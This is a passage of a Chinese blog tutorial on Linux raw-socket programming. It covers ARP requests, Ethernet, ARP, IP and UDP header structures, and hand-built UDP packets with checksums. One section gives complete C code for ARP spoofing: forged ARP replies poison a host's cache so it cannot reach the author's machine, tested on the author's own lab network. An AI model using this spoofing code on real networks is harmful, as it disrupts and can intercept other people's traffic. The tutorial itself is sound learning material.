            192, 168, 141, 128,/*源IP*/
            0, 0, 0, 0, 0, 0,/*目的mac地址*/
            192, 168, 141, 1/*目的IP*/
    };

//发出ARP帧
    int len = SendTo(sockFd, ArpPack, 42, "ens33");
    printf("发出长度为:%d的数据\n", len);

/*接收ARP请求*/
    while (1) {
        unsigned char buf[1500] = "";
        recvfrom(sockFd, buf, sizeof(buf), 0, NULL, NULL);
        //解析数据报的类型
        unsigned short mac_type = ntohs(*(unsigned short *) (buf + 12));
        if (mac_type == 0x0806) {
            printf("上层为arp报文\n");
            //获取OP请求，判断是不是ARP应答
            unsigned short op = ntohs(*(unsigned short *) (buf + 20));
            if (op == 2) {
                //为应答，则提取回应的mac地址
                char src_mac[18] = "";
                sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x", buf[0 + 6], buf[1 + 6], buf[2 + 6],
                        buf[3 + 6], buf[4 + 6], buf[5 + 6]);
                //提取回应的IP地址
                char src_ip[16] = "";
                inet_ntop(AF_INET, buf + 28, src_ip, 16);
                printf("ARP应答IP：%s;对应Mac地址:%s\n", src_ip, src_mac);
                break;
            }
        }
    }

close(sockFd);
    return 0;
}
</code></pre>
<p><strong>结果:</strong></p>
<pre><code class="language-shell">honestliu@honestliu-virtual-machine:~/Develop/UnixNet/SockRow原始套接字$ sudo ./a.out 
create sock_raw:3
发出长度为:42的数据
上层为arp报文
ARP应答IP：192.168.141.1;对应Mac地址:00:50:56:c0:00:08
</code></pre>
<h2><a id="content-五arp欺骗分析arp组包发送" href="#content-五arp欺骗分析arp组包发送" class="heading-permalink" aria-hidden="true" title="Permalink"></a>五.ARP欺骗分析(ARP组包发送)</h2>
<h3><a id="content-1结构体组包" href="#content-1结构体组包" class="heading-permalink" aria-hidden="true" title="Permalink"></a>1.结构体组包</h3>
<h4><a id="content-1以太网头部mac报文" href="#content-1以太网头部mac报文" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(1)以太网头部(mac报文)</h4>
<h5><a id="content--etherheader首选" href="#content--etherheader首选" class="heading-permalink" aria-hidden="true" title="Permalink"></a>① ether_header(首选)</h5>
<p><strong>头文件:</strong><code>#include <net/ethernet.h></code></p>
<p>**结构体:**struct ether_header</p>
<pre><code class="language-c">struct ether_header
{
  uint8_t  ether_dhost[ETH_ALEN];       /* 目的MAC地址 */
  uint8_t  ether_shost[ETH_ALEN];       /* 源MAC地址 */
  uint16_t ether_type;                  /* 帧类型 */
} 
</code></pre>
<h5><a id="content--struct-ethhdr" href="#content--struct-ethhdr" class="heading-permalink" aria-hidden="true" title="Permalink"></a>② struct ethhdr</h5>
<p><strong>头文件:</strong><code>#include <linux/if_ether.h></code></p>
<p>**结构体:**struct ethhdr</p>
<pre><code class="language-c">struct ethhdr {
        unsigned char   h_dest[ETH_ALEN];       /* 目的MAC地址 */
        unsigned char   h_source[ETH_ALEN];     /* 源MAC地址 */
        __be16          h_proto;                /* 帧类型 */
} 
</code></pre>
<h4><a id="content-2arp头部" href="#content-2arp头部" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(2)ARP头部</h4>
<blockquote>
<p>这个结构体建议直接去<code>/usr/include/net/f_arp.h</code>拷贝到本地代码重新定义下，因为需要用到注释的内容</p>
<ul>
<li>不建议直接修改系统头文件，容易出问题</li>
</ul>
</blockquote>
<p><strong>头文件:</strong><code>#include <net/f_arp.h></code></p>
<p>**结构体:**struct arphdr</p>
<pre><code class="language-c">struct arphdr {  
    unsigned short int ar_hrd;          /* 硬件类型 (Hardware type)  
                                           指定了网络类型，例如以太网（ETH_P_ARP） */  
    unsigned short int ar_pro;          /* 协议地址格式 (Protocol address format)  
                                           指定了网络层协议类型，例如 IPv4（ETH_P_IP） */  
    unsigned char ar_hln;               /* 硬件地址长度 (Hardware address length)  
                                           硬件地址（例如 MAC 地址）的长度，通常是 6 个字节 */  
    unsigned char ar_pln;               /* 协议地址长度 (Protocol address length)  
                                           网络层地址（例如 IPv4 地址）的长度，IPv4 中是 4 个字节 */  
    unsigned short int ar_op;           /* ARP 操作码 (ARP opcode) */

#if 0  
    /* 发送者硬件地址 (Sender hardware address)  */  
    unsigned char __ar_sha[ETH_ALEN];     
  
    /* 发送者 IP 地址 (Sender IP address) */  
    unsigned char __ar_sip[4];            
  
    /* 目标硬件地址 (Target hardware address)  */  
    unsigned char __ar_tha[ETH_ALEN];     
  
    /* 目标 IP 地址 (Target IP address) */  
    unsigned char __ar_tip[4];            
#endif  
};
</code></pre>
<h3><a id="content-2apr欺骗实例" href="#content-2apr欺骗实例" class="heading-permalink" aria-hidden="true" title="Permalink"></a>2.APR欺骗实例</h3>
<blockquote>
<p>其实只实现了欺骗目标主机使其失去对本主机的访问能力，只需欺骗目标主机对特定主机的访问能力，这个以后再探究</p>
</blockquote>
<p><strong>代码:</strong></p>
<pre><code class="language-c">#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/ethernet.h> //以太网头部

/*代码说明:
 * 192.168.141.1:是要欺骗的主机IP
 * 192.168.141.128：是欺骗的IP
 * 功能:
 * 循环20次，每隔1S发送一个arp应答，让要欺骗主机对应欺骗IP的mac地址修改成"ee:ee:ee:ee:ee:ee"
 * 使其无法访问该IP对应的主机
 * */

//ARP头结构体，根据系统头文件<net/f_arp.h>修改而来
typedef struct ah {
    unsigned short int ar_hrd;          /* 硬件类型 (Hardware type)  */
    unsigned short int ar_pro;          /* 协议地址格式 (Protocol address format) */
    unsigned char ar_hln;               /* 硬件地址长度 (Hardware address length)*/
    unsigned char ar_pln;               /* 协议地址长度 (Protocol address length)*/
    unsigned short int ar_op;           /* ARP 操作码 (ARP opcode) */

unsigned char __ar_sha[ETH_ALEN];/* 发送者硬件地址 (Sender hardware address)  */
    unsigned char __ar_sip[4];/* 发送者 IP 地址 (Sender IP address) */
    unsigned char __ar_tha[ETH_ALEN];/* 目标硬件地址 (Target hardware address)  */
    unsigned char __ar_tip[4];/* 目标 IP 地址 (Target IP address) */
} ArpHd;

//使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

int main() {
    int sockFd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockFd < 0) {
        perror("create sock_raw");
    }
    //打印创建的原始套接字
    printf("create sock_raw:%d\n", sockFd);

//存储帧的空间
    unsigned char buf[1500] = "";

/*定义以太网头部*/
    unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac,欺骗目的地主机
    unsigned char src_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};//源mac.这是用以修改目的主机的mac
    struct ether_header *ethHd = (struct ether_header *) buf;
    memcpy(ethHd->ether_dhost, des_mac, 6);//设置目的mac
    memcpy(ethHd->ether_shost, src_mac, 6);//设置源mac
    ethHd->ether_type = htons(0x0806);//设置帧类型

/*定义ARP头部.注意要移动指针到定义ARP头部的位置*/
    unsigned char src_ip[] = {192, 168, 141, 128};
    unsigned char des_ip[] = {192, 168, 141, 1};
    ArpHd *arpHd = (ArpHd *) (buf + 14);

arpHd->ar_hrd = htons(1);
    arpHd->ar_pro = htons(0x0800);
    arpHd->ar_hln = 6;
    arpHd->ar_pln = 4;
    arpHd->ar_op = htons(2);
    memcpy(arpHd->__ar_sha, src_mac, 6);//发过去的是用以欺骗的mac地址
    memcpy(arpHd->__ar_sip, src_ip, 4);
    memcpy(arpHd->__ar_tha, des_mac, 6);
    memcpy(arpHd->__ar_tip, des_ip, 4);

/*循环发送欺骗arp*/
    for (int i = 0; i < 20; ++i) {
        SendTo(sockFd,buf,14+28,"ens33");
        sleep(1);
    }

//释放原始套接字
    close(sockFd);
    return 0;
}
</code></pre>
<p><strong>效果:</strong></p>
<p><img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/image-202405121055562260JBspgfElw2024051210553fa5e26a502fc439.png" alt="" loading="lazy"  style=""></p>
<h2><a id="content-六原始套接字发送udp报文" href="#content-六原始套接字发送udp报文" class="heading-permalink" aria-hidden="true" title="Permalink"></a>六.原始套接字发送UDP报文</h2>
<h3><a id="content-1ip和udp报文结构体" href="#content-1ip和udp报文结构体" class="heading-permalink" aria-hidden="true" title="Permalink"></a>1.IP和UDP报文结构体</h3>
<h4><a id="content-1ip报文" href="#content-1ip报文" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(1)IP报文</h4>
<blockquote>
<p>关于校验和，定义时先置零，后继再计算赋值</p>
</blockquote>
<h5><a id="content--概述" href="#content--概述" class="heading-permalink" aria-hidden="true" title="Permalink"></a>① 概述</h5>
<p><strong>头文件:</strong><code>#include <netinet/ip.h></code></p>
<p><strong>结构体:</strong></p>
<pre><code class="language-c">struct iphdr
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN		//小端
    unsigned int ihl:4;//首部长度
    unsigned int version:4;//版本
#elif __BYTE_ORDER == __BIG_ENDIAN		//大端
    unsigned int version:4;//版本
    unsigned int ihl:4;//首部长度
#else
# error "Please fix <bits/endian.h>"
#endif
    uint8_t tos;//服务类型
    uint16_t tot_len;//总长度
    uint16_t id;//标识
    uint16_t frag_off;//标志、片偏移
    uint8_t ttl;//生存时间
    uint8_t protocol;//协议
    uint16_t check;//首部校验和，定义时先置零，后继再计算赋值
    uint32_t saddr;//源地址IP
    uint32_t daddr;//目的地址IP
    /*The options start here. */
  };
</code></pre>
<h5><a id="content--首部校验和计算函数" href="#content--首部校验和计算函数" class="heading-permalink" aria-hidden="true" title="Permalink"></a>② 首部校验和计算函数</h5>
<blockquote>
<p>暂时不理解</p>
</blockquote>
<pre><code class="language-c">unsigned short checksum(unsigned short *buf, int len)  
{  
    int nword = len / 2;  
    unsigned long sum;  
  
    if (len % 2 == 1)  
        nword++;  
    for (sum = 0; nword > 0; nword--)  
    {  
        sum += *buf;  
        buf++;  
    }  
    sum = (sum >> 16) + (sum & 0xffff);  
    sum += (sum >> 16);  
    return ~sum;  
}
</code></pre>
<h4><a id="content-2udp报文结构体" href="#content-2udp报文结构体" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(2)UDP报文结构体</h4>
<blockquote>
<p>UDP校验<mark>需要伪头部</mark></p>
<p>UDP的数据必须是偶数，不是偶数要对其进行填充</p>
</blockquote>
<p><strong>头文件:</strong><code>#include <netinet/udp.h></code></p>
<p>**结构体:**先阶段实际使用时只需要关注后面我写了中文注释的地方即可</p>
<pre><code class="language-c">struct udphdr
{
  __extension__ union
  {
    struct
    {
      uint16_t uh_sport;        /* source port */
      uint16_t uh_dport;        /* destination port */
      uint16_t uh_ulen;         /* udp length */
      uint16_t uh_sum;          /* udp checksum */
    };
    struct
    {
      uint16_t source;//源端口号
      uint16_t dest;//目的端口号
      uint16_t len;//长度
      uint16_t check;//校验和
    };
  };
};
</code></pre>
<h4><a id="content-3实现" href="#content-3实现" class="heading-permalink" aria-hidden="true" title="Permalink"></a>(3)实现</h4>
<h5><a id="content--代码说明" href="#content--代码说明" class="heading-permalink" aria-hidden="true" title="Permalink"></a>① 代码说明</h5>
<p>**源主机:**192.168.141.128</p>
<p>**源mac:**00:0c:29:c1:d3:13</p>
<p>**目的主机:**192.168.141.1</p>
<p>**目的mac:**00-50-56-C0-00-08</p>
<h5><a id="content--功能" href="#content--功能" class="heading-permalink" aria-hidden="true" title="Permalink"></a>② 功能</h5>
<p>**关键(我不会的):**IP报文和UDP报文的校验和计算</p>
<p>**功能：**由原主机通过标准输入读取用户输入，然后组包通过UDP协议发送数据</p>
<h5><a id="content--实现" href="#content--实现" class="heading-permalink" aria-hidden="true" title="Permalink"></a>③ 实现</h5>
<pre><code class="language-c">#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/ethernet.h> //以太网mac报文
#include <netinet/ip.h>//IP报文
#include <netinet/udp.h>//udp报文

int ret = ioctl(sockFd, SIOCGIFINDEX, &EthReq);//获取接口信息
    if (ret < 0) {
        perror("ioctl error");
        close(sockFd);
        _exit(-1);
    }
    //定义struct sockaddr_ll接口体，并将上面获取的接口信息赋值给其内的
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));//清0
    sll.sll_ifindex = EthReq.ifr_ifindex;//给sll赋值

//使用sendto发送数据
    int sendNum = sendto(sockFd, msg, len, 0, (struct sockaddr *) &sll, sizeof(sll));
    return sendNum;
}

/*校验IP首部的函数*/
unsigned short checksum(unsigned short *buf, int len) {
    int nWord = len / 2;
    unsigned long sum;

if (len % 2 == 1)
        nWord++;
    for (sum = 0; nWord > 0; nWord--) {
        sum += *buf;
        buf++;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

/*UDP伪首部结构体*/
struct pseudoHeader {
    u_int32_t sAddr;//源IP地址
    u_int32_t dAddr;//目的IP地址
    u_int8_t flag;//我不知道，😂(记得查)
    u_int8_t pro;//8位协议
    u_int16_t len;//16位UDP长度
};

/*读取要发送的数据*/
    char data[128] = "";;
    printf("请输入要发送的数据\n");
    scanf("%s", data);
    //udp输入的数据必须是偶数
    int data_len = strlen(data) + strlen(data) % 2;

/*组包*/
    unsigned char buf[1500] = "";
    //以太网mac报文
    unsigned char des_mac[] = {0x00, 0x50, 0x56, 0xc0, 0x00, 0x08};//目的mac地址
    unsigned char src_mac[] = {0x00, 0x0c, 0x29, 0xc1, 0xd3, 0x13};//源mac地址
    struct ether_header *etherHeader = (struct ether_header *) buf;//申请报文空间
    //构建以太网mac头部
    memcpy(etherHeader->ether_dhost, des_mac, 6);
    memcpy(etherHeader->ether_shost, src_mac, 6);
    etherHeader->ether_type = htons(0x0800);//协议为IP

/*IP报文*/
    struct iphdr *ipHd = (struct iphdr *) (buf + 14);//14是以太网头部所占用的大小

//封装报文数据
    ipHd->version = 4;//IPV4协议
    ipHd->ihl = 5;//首部长度
    ipHd->tos = 0;//服务类型
    ipHd->tot_len = htons(20 + 8 + data_len);//IP首部 + (UDP首部 + 数据长度)
    ipHd->id = htons(0);//标识
    ipHd->frag_off = htons(0);//偏移片
    ipHd->ttl = 128;//生存时间
    ipHd->protocol = 17;//即UDP协议
    ipHd->check = htons(0);//先以0填充，后继计算皇后再放置到这
    ipHd->saddr = inet_addr("192.168.141.128");//源IP
    ipHd->daddr = inet_addr("192.168.141.1");//目的IP

//校验IP报文首部(不会)
    ipHd->check = checksum((unsigned short *) ipHd, 20);

/*udp报文*/
    struct udphdr *udpHdr = (struct udphdr *) (buf + 14 + 20);//buf+mac报文长度+IP报文长度

udpHdr->source = htons(8000);//非必要，除非需要对方回数据给你
    udpHdr->dest = htons(8000);//必须值，指定要发送目的地的端口
    udpHdr->uh_ulen = htons(8 + data_len);//UDP数据报长度 -> UDP首部长度 + 数据长度
    udpHdr->check = htons(0);//和IP报文一样，先置零，后计算填充

//拷贝数据到UDP数据部分
    memcpy(buf + (14 + 20 + 8), data, data_len);

//创建伪头部
    unsigned char checksumPackage[512] = "";
    struct pseudoHeader *udpPseudo = (struct pseudoHeader *) checksumPackage;
    udpPseudo->sAddr = inet_addr("192.168.141.128");
    udpPseudo->dAddr = inet_addr("192.168.141.1");
    udpPseudo->flag = 0;
    udpPseudo->pro = 17;//协议
    udpPseudo->len = htons(8 + data_len);//UDP头部长度 + 数据长度

//组校验包,在伪首部后面加上UDP首部和数据
    memcpy(checksumPackage + 12, buf + 14 + 20, 8 + data_len);
    //进行校验，得到校验和并赋值
    udpHdr->check = checksum((unsigned short *) checksumPackage, 8 + 12 + data_len);//udp首部 + 伪首部 + 数据长度

SendTo(sockFd, buf, 14 + 20 + 8 + data_len, "ens33");

//释放资源
    close(sockFd);
    return 0;
}
</code></pre>
<p><img src="https://honescos.oss-cn-hangzhou.aliyuncs.com/img/image-20240512164244885FeKgS16E9b202405121642c327c9bf097417b3.png" alt="" loading="lazy"  style=""></p>

一.概述

1.介绍

2.数据的收发

二.相关函数

1.创建原始套接字

2.原始套接字接收数据

3.原始套接字发送数据

(1)介绍

(2)函数介绍

① sendto-数据发送

Ⅰ.函数定义

Ⅱ.SockAddr_ll结构体

② Ioctl-本地机接口数据获取

Ⅰ.函数定义:

Ⅱ.Ifreq结构体

(3)函数封装

三.报文分析(接收)

1.接收帧数据

2.MAC报文解析

(1)解析目的、源mac地址

(2)解析mac报文类型

3.解析IP报文

(1)解析协议类型

(2)解析源IP和目的IP

4.TCP和UDP报文分析

(1)IP报文头部长度获取

(2)解析TCP报文端口

(3)获取TCP报文数据

5.完整代码

四.报文组包(发送)

1.获取某个PC的Mac地址

(1)ARP报文

① 结构

② 组包(请求包)

(2)完整代码

五.ARP欺骗分析(ARP组包发送)

1.结构体组包

(1)以太网头部(mac报文)

① ether_header(首选)

② struct ethhdr

(2)ARP头部

2.APR欺骗实例

六.原始套接字发送UDP报文

1.IP和UDP报文结构体

(1)IP报文

① 概述

② 首部校验和计算函数

(2)UDP报文结构体

(3)实现

① 代码说明

② 功能

③ 实现

发表评论 取消回复 已启用评论审核，评论将在审核后显示

Linux网络编程-原始套接字

发表评论取消回复
已启用评论审核，评论将在审核后显示